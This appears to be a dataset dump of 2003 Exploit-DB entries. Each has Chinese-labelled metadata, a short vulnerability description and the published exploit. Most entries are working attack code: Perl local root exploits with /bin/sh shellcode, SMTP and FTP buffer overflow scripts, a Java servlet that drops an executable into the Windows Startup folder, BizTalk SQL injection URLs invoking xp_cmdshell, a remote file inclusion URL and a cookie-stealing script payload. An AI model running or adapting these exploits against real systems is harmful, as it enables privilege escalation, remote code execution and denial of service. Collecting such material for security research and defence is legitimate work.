QLWD/code_shield huggingface dataset:
标题: ttCMS 2.2 / ttForum 1.1 - 'news.php?template' Remote File Inclusion EDB-ID: 22577 CVE: 2003-1459 类型: WEBAPPS 平台: PHP 发布日期: 2003-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/7542/info

A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.


http://www.example.com/ttforum/index.php?action=news;board=1;
template=http://www.yourserver.com/modules/forum/helpadmin;ext=help URL: https://www.exploit-db.com/exploits/22577
标题: Microsoft Internet Explorer 5/6 - 'file://' Request Zone Bypass EDB-ID: 22575 CVE: 2003-0309 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/7539/info

Internet Explorer is reported to be vulnerable to a zone bypass issue. Allegedly, if Internet Explorer attempts to open a web page containing numerous 'file://' requests each contained in a separate Iframe, the requested file will eventually be executed in the Local Computer zone. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22575.rar (dmz.rar Password: zones) URL: https://www.exploit-db.com/exploits/22575
标题: Youbin 2.5/3.0/3.4 - 'HOME' Buffer Overflow EDB-ID: 22566 CVE: 2003-0269 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/7503/info

It has been reported that youbin is vulnerable to a locally exploitable buffer overflow. The problem is said to occur while processing environment variables. Specifically, an internal memory buffer may be overrun while handling a HOME environment variable containing excessive data. This condition may be exploited by attackers to ultimately execute instructions with the privileges of the youbin process, typically root.

It should be noted that although this vulnerability has been reported to affect youbin version 3.4, previous versions might also be affected.

#!/usr/bin/perl
# DSR-youbin.pl - kokaninATdtors.net vs. /usr/ports/mail/youbin
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# shellcode by eSDee, he's cool
# youbin-3.4          Mail arrival notification service package

$len = 512;
$ret = pack("l",0xbfbffd68);
$nop = "\x90";
$shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
                "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
                "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

for ($i = 0; $i < $len - length($shellcode); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
local($ENV{'EGG'}) = $buffer;
local($ENV{'HOME'}) = $ret x 259;
system("youbin"); URL: https://www.exploit-db.com/exploits/22566
标题: Lgames LTris 1.0.1 - Local Memory Corruption EDB-ID: 22574 CVE: 2003-1473 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/7537/info

A memory corruption vulnerability has been reported for LTris that may result in a local attacker obtaining group 'games' privileges. 

#!/usr/bin/perl
$len = 520;
$ret = 0xbfbff825;
$nop = "\x90";
$offset = 0;
$shellcode =    "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29 bytes
                "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh
                "\x62\x69\x6e\x2f\x73\x68\x23";                 #zillionATsafemode.org

if (@ARGV == 1) {
    $offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}
local($ENV{'HOME'}) = $buffer; 
exec("ltris 2>/dev/null"); URL: https://www.exploit-db.com/exploits/22574
标题: ListProc 8.2.9 - Catmail ULISTPROC_UMASK Buffer Overflow EDB-ID: 22573 CVE: 2003-0274 类型: LOCAL 平台: FREEBSD 发布日期: 2003-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/7533/info

ListProc catmail has been reported prone to a buffer overflow vulnerability when handling a ULISTPROC_UMASK environment variable of excessive length.

The issue is likely due to a lack of sufficient bounds checking performed when copying the contents of the ULISTPROC_UMASK environment variable into an internal memory buffer.

Ultimately an attacker may exploit this vulnerability to execute arbitrary operation codes. Code execution would occur in the context of the ListProc catmail application, typically root.

It should be noted that while his vulnerability has been reported to affect ListProc 8.2.09, other versions might also be affected. 

#!/usr/bin/perl -w
# DSR-listproc.pl - kokaninATdtors.net vs. listproc 8.2.09 (bug found by KF)
# as per http://www.packetstormsecurity.nl/0305-advisories/srt2003-1137.txt
# offset, retaddr and shellcode is for my FreeBSD 4.8-RELEASE, YMMV
# shellcode by eSDee, hello there eSDee
# dont forget to edit the path to the catmail binary
# this yields uid(0) if listproc is installed by root, otherwise something else

$len = 16534;
$ret = pack("l",0xbfbfd176); # appx. middle of the env_var (as seen w. � eye)
$nop = "\x90";                                        
$shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
                "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
                "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
                                                      
for ($i = 0; $i < $len - (length($shellcode)-8); $i++) {
    $buffer .= $nop;                                  
}                                                     
$buffer .= $shellcode;                                
$buffer .= $ret x 2;                                  
local($ENV{'ULISTPROC_UMASK'}) = $buffer;             
system("catmail"); URL: https://www.exploit-db.com/exploits/22573
标题: FloosieTek FTGate PRO 1.22 - SMTP RCPT TO Buffer Overflow EDB-ID: 22569 CVE: 2003-0263 类型: DOS 平台: WINDOWS 发布日期: 2003-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/7508/info

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Rcpt To' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected.

#!/usr/bin/perl -w
##################
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock); URL: https://www.exploit-db.com/exploits/22569
标题: Microsoft Windows Media Player 7.1 - Skin File Code Execution EDB-ID: 22570 CVE: 2003-0228 类型: REMOTE 平台: WINDOWS 发布日期: 2003-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/7517/info

Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means. 

import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
import javax.servlet.ServletException; 
import javax.servlet.ServletOutputStream; 
import java.io.*; 
 
/** 
 * 
 * Microsoft media player 8 Exploit for windows XP English and Dutch versions 
 * 
 * It will drop a file in the startup folder 
 * 
 * modify web.xml to change what will be uploaded 
 * 
 * @author Jelmer Kuperus 
 * 
 */ 
 
public class MediaPlayerExploit extends HttpServlet { 
 
    private static final int BUFFER_SIZE = 1024; 
 
    private static final String[] paths = new String[] { 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch 
    }; 
 
    private String payload; 
 
 
    public void init() throws ServletException { 
        payload = getInitParameter("executable"); 
    } 
 
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
 
        int language = 0; // default to english 
 
        try { 
            language = Integer.parseInt(request.getParameter("language")); 
        } catch (NumberFormatException ignored) {} 
 
        String path = paths[language]; 
 
        File file = new File(payload); 
 
        ServletOutputStream sos = response.getOutputStream(); 
 
        response.setContentType("application/download"); 
        response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz"); 
 
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); 
        BufferedOutputStream bos = new BufferedOutputStream(sos); 
 
        byte buffer[] = new byte[BUFFER_SIZE]; 
 
        int datalength = 0; 
        while ( (datalength = bis.read(buffer,0,BUFFER_SIZE)) > 0) { 
            bos.write(buffer,0,datalength); 
        } 
        bis.close(); 
        bos.close(); 
    } 
 
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        doGet(request, response); 
    } 
 
} URL: https://www.exploit-db.com/exploits/22570
标题: FloosieTek FTGate PRO 1.22 - SMTP MAIL FROM Buffer Overflow EDB-ID: 22568 CVE: 2003-0263 类型: DOS 平台: WINDOWS 发布日期: 2003-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/7506/info

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Mail From' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected. 

#!/usr/bin/perl -w
##################
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: der@infowarfare.dk
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock); URL: https://www.exploit-db.com/exploits/22568
标题: HP-UX 11 RWrite - Buffer Overflow EDB-ID: 22561 CVE: 2003-1461 类型: DOS 平台: HP-UX 发布日期: 2003-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/7489/info

HP-UX rwrite utility has been reported prone to a buffer overflow vulnerability. Although unconfirmed code execution with elevated privileges may be possible.

The condition presents itself when excessive data is supplied as part of an argument passed to the vulnerable utility. Due to the lack of bounds checking, the vulnerable utility will crash.

The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available.

$ /usr/lbin/rwrite something `perl -e 'print "A" x 14628'` something URL: https://www.exploit-db.com/exploits/22561
标题: Microsoft BizTalk Server 2000/2002 DTA - 'rawdocdata.asp' SQL Injection EDB-ID: 22554 CVE: 2003-0118 类型: WEBAPPS 平台: ASP 发布日期: 2003-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/7470/info

A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.

This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 


http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'-- URL: https://www.exploit-db.com/exploits/22554
标题: Microsoft BizTalk Server 2002 - HTTP Receiver Buffer Overflow EDB-ID: 22553 CVE: 2003-0117 类型: DOS 平台: WINDOWS 发布日期: 2003-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/7469/info

Microsoft BizTalk Server 2002 contains a boundary condition error that could allow a buffer to be overrun. Successful exploitation could allow arbitrary code execution in the security context of the IIS Server hosting the application.

It is important to note that the HTTP Receiver is an optional component and is not installed by default.

POST /Site/biztalkhttpreceive.dll?XXXX...(more than 250 chars) HTTP/1.0 URL: https://www.exploit-db.com/exploits/22553
标题: 3D-FTP Client 4.0 - Buffer Overflow EDB-ID: 22551 CVE: 2003-1472 类型: DOS 平台: WINDOWS 发布日期: 2003-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/7451/info

It has been reported that 3D-FTP client may be prone to a buffer overflow condition. This issue is due to the client not implementing sufficient bounds checking on banner data copied into local memory buffers.

It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#!/usr/bin/perl
########################################################
#
# Banner Buffer Overflow remote exploit in FTP Clients
#
#
#                by Over_G [DWC Gr0up]
#
#         www.dwcgr0up.com      www.overg.com
#########################################################
use IO::Socket;
$port = "21";
$data = "a";
$bsize = $ARGV[0];

print "\n  Banner Buffer Overflow remote exploit in FTP Clients\n\n";
print "           by Over G[DWC Gr0up]\n";
print "     www.dwcgr0up.com www.overg.com\n\n";

if (defined $bsize) {}
 else {
  print "Incorrect parameters.\n";
  die "Usage: perl ftpbanex.pl [buffer_size]\n";
}
print "Creating server...\n";
$buf .= $data x $bsize;
$server = IO::Socket::INET->new(LocalPort => $port, Type =>
SOCK_STREAM, Reuse => 1, Listen => 2)
or die "Couldn't create server.\n";
print "Awayting connections...\n";
while ($client = $server->accept())
{
 print "Client connected.\n";
 print "Attacking...";
 print $client "$buf";
 print "OK\n";
 close($client);
} URL: https://www.exploit-db.com/exploits/22551
标题: Microsoft BizTalk Server 2000/2002 DTA - 'RawCustomSearchField.asp' SQL Injection EDB-ID: 22555 CVE: 2003-0118 类型: WEBAPPS 平台: ASP 发布日期: 2003-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/7470/info
 
A vulnerability has been reported for BizTalk Server which may make it possible for remote users to modify database query logic. The vulnerability exists in some of the pages used by the DTA interface.
 
This vulnerability may be the result of inadequate sanitization of user-supplied values for some parameters. A remote attacker may exploit this vulnerability by creating a malicious URL that includes specially crafted SQL queries to execute commands or compromise the database. 

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;execmaster.dbo.sp_grantlogin 'domain\attacker'-- URL: https://www.exploit-db.com/exploits/22555
标题: KDE Konqueror 3.0.3 - Malformed HTML Page Denial of Service EDB-ID: 22560 CVE: 2003-1478 类型: DOS 平台: LINUX 发布日期: 2003-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/7486/info

KDE Konqueror has been reported prone to a denial of service vulnerability when rendering a HTML page that contains malformed data.

Although unconfirmed, code execution may be possible.

The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available. 

perl -e "print qq'\xFF\xFE'; print qq'\r\r\n' x 30000" > freeze.htm URL: https://www.exploit-db.com/exploits/22560
标题: Opera 6.0.x/7.0 - Long File Name Remote Heap Corruption EDB-ID: 22550 CVE: 2003-1396 类型: DOS 平台: WINDOWS 发布日期: 2003-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/7450/info

A vulnerability has been reported for Opera versions 7.10 and earlier. The problem is said to occur due to insufficient bounds checking on filename extensions. As a result, it may be possible for an attacker to corrupt heap-based memory.

Successful exploitation of this vulnerability may result in a denial of service, possibly prolonged. If a malicious filename entry were placed in a cache file, Opera may continuously crash until the cache file has been deleted.

#!/usr/bin/perl
# Smash Heap Memory.
# This script is CGI program.

$|=1;
my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100);

print "Content-type: text/html\r\n";
print qq~Content-Disposition: filename="$filename"\r\n~;
print "\r\n";
print "<html><body>Love & Peace :)</body></html>\r\n"; URL: https://www.exploit-db.com/exploits/22550
标题: HP-UX 10.x/11.x - RExec Remote 'Username' Flag Local Buffer Overrun EDB-ID: 22552 CVE: 2003-1097 类型: DOS 平台: HP-UX 发布日期: 2003-04-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/7459/info

It has been reported that a problem in the rexec program included with some versions of HP-UX may be vulnerable to a boundary condition error. It may be possible for a local user to exploit this vulnerability to gain elevated privileges on the system. 

exec 127.0.0.1 -l `perl -e 'printf "A" x 9777'` -n something URL: https://www.exploit-db.com/exploits/22552
标题: Libopt.a 3.1x - Error Logging Buffer Overflow (2) EDB-ID: 22538 CVE: 2003-0390 类型: LOCAL 平台: LINUX 发布日期: 2003-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/7433/info
 
Libopt library has been reported prone to a buffer overflow vulnerability.
 
It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.
 
Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.
 
It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected.

#!/usr/bin/perl
#
# expl-optatoi.pl : opt_atoi() function exploit (from Options Parsing
# Tool shared library opt-3.18 and prior) for this vulnerable code.
#
# vuln.c :
#    main(int *argc, char **argv)
#    {
#        /* use OPT opt_atoi() */
#        int y = opt_atoi(argv[1]);
#        printf("opt_atoi(): %i\n", y);
#     }
#
# cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a
#
# Author :
#    jlanthea [contact@jlanthea.net]
#
# Syntax :
#    perl expl-optatoi.pl <offset>   # works for me with offset = -1090


$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
             "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
             "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
             "\xff\xff/bin/sh";


$len = 1032;        # The length needed to own EIP.
$ret = 0xbffff6c0;  # The stack pointer at crash time
$nop = "\x90";      # x86 NOP
$offset = 0;    # Default offset to try.


if (@ARGV == 1) {
    $offset = $ARGV[0];
}

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");

$new_ret = pack('l', ($ret + $offset));

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

exec("/path/to/vuln $buffer"); URL: https://www.exploit-db.com/exploits/22538
标题: Xoops 1.3.x/2.0 MyTextSanitizer - HTML Injection EDB-ID: 22539 CVE: 2003-1453 类型: WEBAPPS 平台: PHP 发布日期: 2003-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7434/info

A HTML injection vulnerability has been discovered in Xoops. The problem occurs due to insufficient filtering of HTML and script code by the MyTextSanitizer script.

Successful exploitation of this vulnerability may allow a malicious Xoops user to execute arbitrary HTML or script code within the browser of a legitimate user. 

java script:alert%28document.cookie%29

The script code must be embedded within HTML <img> tags. URL: https://www.exploit-db.com/exploits/22539
标题: Alt-N WebAdmin 2.0.x - Remote File Viewing EDB-ID: 22541 CVE: 2003-1463 类型: REMOTE 平台: CGI 发布日期: 2003-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7438/info

Alt-N WebAdmin allows a remote user to access files that they should not be able to access. The remote user can submit an HTTP request that will return the contents of any webserver-readable file on the system.

NOTE: The user must have administrative privileges in WebAdmin to access these files.

http://server/WebAdmin.dll?Session=X&Program=MDaemon&Directory:Name=C:\WINNT&File:Name=WIN.INI&View=ViewFile URL: https://www.exploit-db.com/exploits/22541